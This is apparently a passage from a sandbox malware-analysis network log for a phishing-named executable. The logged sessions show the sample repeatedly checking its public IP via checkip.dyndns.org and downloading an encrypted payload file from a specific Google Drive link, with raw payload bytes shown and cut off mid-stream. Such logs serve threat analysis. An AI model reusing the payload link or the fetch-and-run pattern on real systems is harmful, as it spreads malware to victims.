Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49869	132.226.247.73	80	7616	C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 15:23:14.043550968 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 3, 2024 15:23:15.348351002 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:23:15 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 846bc5a515aaa3b26975886b438ccf9d Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49881	132.226.247.73	80	7616	C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 15:23:18.019983053 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 3, 2024 15:23:19.711443901 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:23:19 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 0749d1a4e894ece083d39a0fdb4d52a9 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49888	132.226.247.73	80	7616	C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 15:23:22.031601906 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 3, 2024 15:23:23.410410881 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:23:23 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 7bc4f15b7a3bb7b37ee3bd1bc5372aa0 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49900	132.226.247.73	80	7616	C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 15:23:25.730920076 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 3, 2024 15:23:27.034535885 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:23:26 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 8073028460be049eba4b373a12e0a83c Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49908	132.226.247.73	80	7616	C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 15:23:29.479759932 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 3, 2024 15:23:30.923572063 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:23:30 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: f1dbf4eb7c49f4feee16cbf5b7ad2d5f Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49919	132.226.247.73	80	7616	C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 15:23:34.131933928 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 3, 2024 15:23:35.436189890 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:23:35 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: c2062d12c454c090187f940a539788f5 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	49931	132.226.247.73	80	7616	C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 15:23:37.704580069 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 3, 2024 15:23:39.064112902 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:23:38 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: a792116092e6d857942b6816aaa72a30 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	49939	132.226.247.73	80	7616	C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 15:23:41.321688890 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 3, 2024 15:23:42.626117945 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:23:42 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 6f8a3f2d86a3ec37e1e5d4d7dc9c33ad Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	49948	132.226.247.73	80	7616	C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 15:23:44.984883070 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 3, 2024 15:23:46.335513115 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:23:46 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: f9cfbad74ae74c9083f1f83a169f6f50 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	49956	132.226.247.73	80	7616	C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 15:23:48.609688997 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 3, 2024 15:23:50.005939960 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:23:49 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 1bb811b2ead947cb2badaaabcd6bc73e Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	49966	132.226.247.73	80	7616	C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 15:23:52.160885096 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 3, 2024 15:23:53.559438944 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:23:53 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 73af3106b132adff46c63a77f16344b8 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.7	49973	132.226.247.73	80	7616	C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 15:23:55.829879045 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 3, 2024 15:23:57.136209011 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:23:56 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: a915e937438b2400fbace04beac8e2eb Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	49979	132.226.247.73	80	7616	C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 15:23:59.561739922 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 3, 2024 15:24:00.913367987 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:24:00 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: a8adcb12402692be74529beabd2b1ed0 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.7	49981	132.226.247.73	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 15:24:05.423635960 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 3, 2024 15:24:06.803620100 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:24:06 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 866cab96c9299a3f5f61bcc69a9284a0 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49780	172.217.19.174	443	7616	C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:22:41 UTC	216	OUT	GET /uc?export=download&id=119KyFiZiJfJBOPS6lEGdsdCsk4yk9tad HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache
2024-12-03 14:22:42 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 03 Dec 2024 14:22:42 GMT Location: https://drive.usercontent.google.com/download?id=119KyFiZiJfJBOPS6lEGdsdCsk4yk9tad&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-aICPj6RGo68NzKiE94gftA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49789	142.250.181.97	443	7616	C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:22:44 UTC	258	OUT	GET /download?id=119KyFiZiJfJBOPS6lEGdsdCsk4yk9tad&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2024-12-03 14:22:47 UTC	4914	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="ECBVVM208.bin" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 94272 Last-Modified: Tue, 03 Dec 2024 06:46:46 GMT X-GUploader-UploadID: AFiumC7u1Le8ZFkGzhTw2X4cJOiqhikdn8esOGKaAiMDFi3WsKQADja-K2XVKdWnO0Ijun1C_Zu_4mLpJA Date: Tue, 03 Dec 2024 14:22:47 GMT Expires: Tue, 03 Dec 2024 14:22:47 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=i+3h+A== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-03 14:22:48 UTC	4914	IN	Data Raw: bf 02 c9 fa 6b b3 d8 42 f8 43 e5 3b 71 c1 6e 88 25 d7 f3 a4 10 a8 83 e6 ef f5 92 61 83 fe 0b a9 fd 1f 60 5d f6 21 93 3f 0f 4e ad 3d 2f f4 bb 32 83 c5 32 c0 2f 65 91 bd 4e 15 d1 68 0e 18 29 4e 22 e1 1d ee 9e 18 98 17 d0 5c b9 e1 0d 95 de 53 dd 03 d7 f9 3d d0 c1 db d0 dd fa 1e e9 88 26 43 b6 95 85 79 79 c2 37 b2 9f 23 a1 4c c7 6e 40 46 bf b6 e5 79 82 97 d5 85 d4 9e c9 ee be 44 75 26 83 22 d4 db 6b 01 d3 f3 24 97 8a 69 02 3e 02 30 a9 a3 8f fa 2f 9b aa c0 f4 d7 07 bd d4 8e 6b 1e 67 b2 f0 73 72 4d d0 0a 26 95 5d 8d 9e ee 09 d8 ee ff b9 72 b2 25 12 36 1e 63 fe 98 a4 f5 63 55 e1 ca df a7 40 1a 4c dc f5 19 50 18 a2 bd b7 f1 0e 69 1e 2f 09 c4 aa cf b9 cf 50 81 84 8e 17 f5 62 d7 40 a5 a8 07 35 bd dc ee 66 78 86 14 95 4c d9 46 79 08 0f e8 24 a4 f0 c2 8f 11 f3 80 ec Data Ascii: kBC;qn%a`]!?N=/22/eNh)N"\S=&Cyy7#Ln@FyDu&"k$i>0/kgsrM&]r%6ccU@LPi/Pb@5fxLFy$
2024-12-03 14:22:48 UTC	4871	IN	Data Raw: ee 35 90 f0 da 52 9f 35 f9 5e 91 c8 5d c5 ef 72 e0 b5 9a 05 d0 0e 7f 17 3b 67 58 36 30 71 97 6e b3 c7 ff 0e 51 d6 29 5c 0d 0e 5c f3 28 5d 73 94 91 df 38 ae e8 00 c1 d7 bb b4 25 f7 c7 06 63 d6 71 86 c2 cc a7 4e c6 dd 6b 2f 9c 49 0d 47 6e 30 35 d1 62 65 75 6b 40 53 04 7a 3e 2a 08 2a d9 d6 0b 71 6b 81 b0 d5 49 da 68 27 d8 44 f8 96 8b c6 f0 8f fa 6d 26 19 cf 0a cd db 94 9d df e6 e9 59 a2 3a 39 04 af 90 bc 71 dc 06 b2 78 cf 1a 63 76 b1 bf 4e d3 07 4b df 40 ac f6 a3 81 ec f0 90 72 ca cd 88 99 56 29 cb d7 2d 0d 35 76 a8 6f 77 e3 c7 ee 70 de dc 8f f2 1d c4 6a c2 3f 0e 13 e3 c7 b3 02 6b 97 b3 dc 67 df 4c e9 e5 f0 4e 23 33 46 60 0d 03 72 bb 8d ea ef 8a 93 17 a4 74 fe e1 f2 60 b1 c0 65 03 dd f9 43 c2 c1 db 94 ae 6e 1e e9 82 35 44 a7 93 ea ec 79 c2 3d a3 98 4c 37 4c Data Ascii: 5R5^]r;gX60qnQ)\\(]s8%cqNk/IGn05beuk@Sz>**qkIh'Dm&Y:9qxcvNK@rV)-5vowpj?kgLN#3F`rt`eCn5Dy=L7L
2024-12-03 14:22:48 UTC	1321	IN	Data Raw: bc 23 2d 04 f0 10 d6 8e ee 6d 18 ad 9c a4 af 78 85 dd bb 5b cd 23 cc 12 65 97 9f 11 48 ac 7f c6 ae 2c 62 02 e4 38 cc f7 da a8 92 72 0c 83 a8 d6 e2 9c 3d 27 07 b0 5c 35 1f 0a 7e 58 11 1d 50 ac f6 6b 01 d8 f9 71 a6 c0 c3 07 54 55 d3 56 84 af 9f f9 2f 23 75 dc e9 6a ef e5 a3 13 30 f7 b7 59 2f 32 ef c2 eb 1b 4c c2 92 51 77 d8 ca 96 bd 39 00 8a 8d 84 98 64 8c 89 ad 4b 17 15 8a 0e e4 09 ab 7c 65 e3 8d 05 63 b9 d1 f0 23 b1 b9 2f 73 e5 57 66 ec e2 44 c3 ee 11 eb c6 ce 64 a3 b2 ab 59 a6 24 21 95 5a a5 c3 1d bc e0 2e 53 76 32 d4 36 e6 c3 27 b1 9b a9 d9 4b 04 13 96 09 f4 98 81 20 bc fd dc 01 54 35 f9 50 b5 1c 55 4b 8c 18 8f 3d b0 05 da 15 4f 1a 54 c4 59 36 3a 59 9e 66 b4 cf 73 19 03 5c 29 58 79 30 55 9c 5a 23 4a 9e 91 a5 02 27 e8 04 ef 57 b9 b3 2c e5 1b 22 e9 df 5d Data Ascii: #-mx[#eH,b8r='\5~XPkqTUV/#uj0Y/2LQw9dK\|ec#/sWfDdY$!Z.Sv26'K T5PUK=OTY6:Yfs\)Xy0UZ#J'W,"]
2024-12-03 14:22:48 UTC	1390	IN	Data Raw: 9d 3a fb 95 a6 44 04 75 1c dd ca 83 67 81 6f 2a 4c d7 88 fe fe 2a 21 f3 67 2b 17 03 45 b9 0f 2a 2f 3b 26 7d 4c 25 d8 21 cf d4 27 24 4b 6f 13 b4 89 f8 72 08 db 70 fd d0 12 05 ce 88 7b 5f 87 ae 7b de de af 51 e6 7d 82 7a f7 7c df 96 b3 04 e8 e2 1f be 7e 33 5c c9 88 6e 53 16 49 4c 9e ab e1 89 4f 72 17 13 46 19 a8 b1 c2 0b 08 3e 49 b4 d7 64 52 6f 23 0f 54 28 07 89 a8 d6 51 10 28 b2 7e 51 a6 4b 1d 2e d7 8b 8a d2 c2 34 11 76 88 99 a6 3e cc 9a 8f aa ee d9 1d 7d ed a5 6c 2e b2 02 2e 1e db 7f 75 d6 0e 67 0c 0e d8 47 4b da 1f 9e 88 c7 fd 99 13 83 41 50 da 8c 8e a1 71 6d 46 5f ad d1 83 22 c9 0e 5e 73 1e 16 a5 8d 2d 88 82 50 b1 c3 21 a9 e7 a6 57 dc 80 d5 01 c4 5b de ce a2 06 4d d9 1c 3d 8c 08 ff 72 ed 43 95 f5 51 7a 41 